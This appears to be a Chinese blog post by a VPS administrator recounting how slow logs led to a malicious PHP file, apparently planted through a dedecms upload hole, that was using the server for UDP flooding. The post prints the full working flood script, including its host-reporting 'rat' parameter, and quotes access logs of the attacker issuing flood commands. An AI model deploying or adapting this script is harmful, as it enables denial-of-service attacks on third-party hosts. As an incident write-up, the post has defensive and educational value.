捉“客”记

  最近在用一个香港的VPS做一个小说站点,配置是云主机1G内存带宽不限,上面运行着nginx mysql php-fpm memcache vsftpd,1G内存已经快使用完了,但CPU负载不高,因为网站也没什么流量。最近几天在特定的时间段(晚上的17点左右)通过top查看到一个php-fpm进程占用了99%的CPU,娘啊是哪个php脚本占用了如此多的CPU资源,VPS除了目前我在开发的程序还运行着一些其他网站,这中包括dedecms,akcms,bbs,以目前的知识我还无法定位是因为哪个脚本的问题导致的这次原因,过了大概有1小时的时间CPU负载下去了,接下来几天还是如此。

  我决定要处理这个问题,因为负载高的时候网站访问超级慢到了无法忍受的地步,首先我将php-fpm的慢查询日志打开,记录下运行时长超过1秒的脚本程序.

file:/etc/php-fpm.d/www.conf

request_slowlog_timeout = 1s

  17点到了负载又开始上去了,我用top命令拿到那个php-fpm高的pid 22658,尝试strace -p 22658 看看进程都在做些什么,命令结果都是机器指令根本不明白是什么意思,只是发现怪异的一点有个“AAAAAAA”这样的字样,然后又通过ll /proc/22658/fd 查看正在操作的文件,显示结果就是几个通道文件在不停的闪烁还是定位不到文件。

  最后希望寄托于slow-log,搜索了一下在那一个时段的慢日志,网站访问量不多所以很容易定位到了一个文件Pacillbxz.php,顺手打开看了一下内容,惊呆了。

<?php
echo 'u are hacker?';
exit;
set_time_limit(999999);
$host = $_GET['ip'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Warning to: opening";
        exit;
    }

for($i=0;$i<$Sendlen;$i++){
        $out .= "A";
    }

$max_time = time()+$exec_time;
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}

echo "Send Host£º$host:$port<br><br>";
echo "Send Flow£º$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate£º" . round($packets/$exec_time, 2) . " packs/s£»" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

脚本的大体意思是传入主机、端口、时间进行建立udp的请求,而且是循环建立,说白了就是恶意请求一个主机,这是拿我当枪使啊,VPS成为了肉鸡?僵尸?就是这一类的词。

我现在能想到的就是dedecms出现了上传漏洞让人给攻击上传文件代码了,我就又顺手看了看他要攻击的目标以及是谁在请求这个攻击指令。

180.154.162.63 - - [20/Aug/2013:12:33:03 +0800] "GET /plus/Pacillbxz.php HTTP/1.1" 200 401 "-" "Mozilla/4.0" "-"
180.154.162.63 - - [20/Aug/2013:12:34:17 +0800] "GET /plus/Pacillbxz.php?ip=172.241.88.178&port=80&time=6000 HTTP/1.1" 499 0 "-" "Mozilla/4.0" "-"
180.154.162.63 - - [20/Aug/2013:12:35:01 +0800] "GET /plus/Pacillbxz.php?ip=172.241.88.178&port=80&time=6000 HTTP/1.1" 499 0 "-" "Mozilla/4.0" "-"
180.154.162.63 - - [20/Aug/2013:14:28:21 +0800] "GET /plus/Pacillbxz.php?ip=218.8.241.233&port=80&time=6000 HTTP/1.1" 499 0 "-" "Mozilla/4.0" "-"
180.154.162.63 - - [20/Aug/2013:15:13:37 +0800] "GET /plus/Pacillbxz.php?ip=218.8.241.233&port=80&time=6000 HTTP/1.1" 499 0 "-" "Mozilla/4.0" "-"
180.154.162.63 - - [20/Aug/2013:15:27:07 +0800] "GET /plus/Pacillbxz.php HTTP/1.1" 200 401 "-" "Mozilla/4.0" "-"
180.154.162.63 - - [20/Aug/2013:15:51:51 +0800] "GET /plus/Pacillbxz.php HTTP/1.1" 200 401 "-" "Mozilla/4.0" "-"

总结:以后做站别在用织梦了,学到了一个新函数ignore_user_abort() 客户端断开连接时脚本程序是否继续执行

原文地址:https://www.cnblogs.com/aboys/p/3272169.html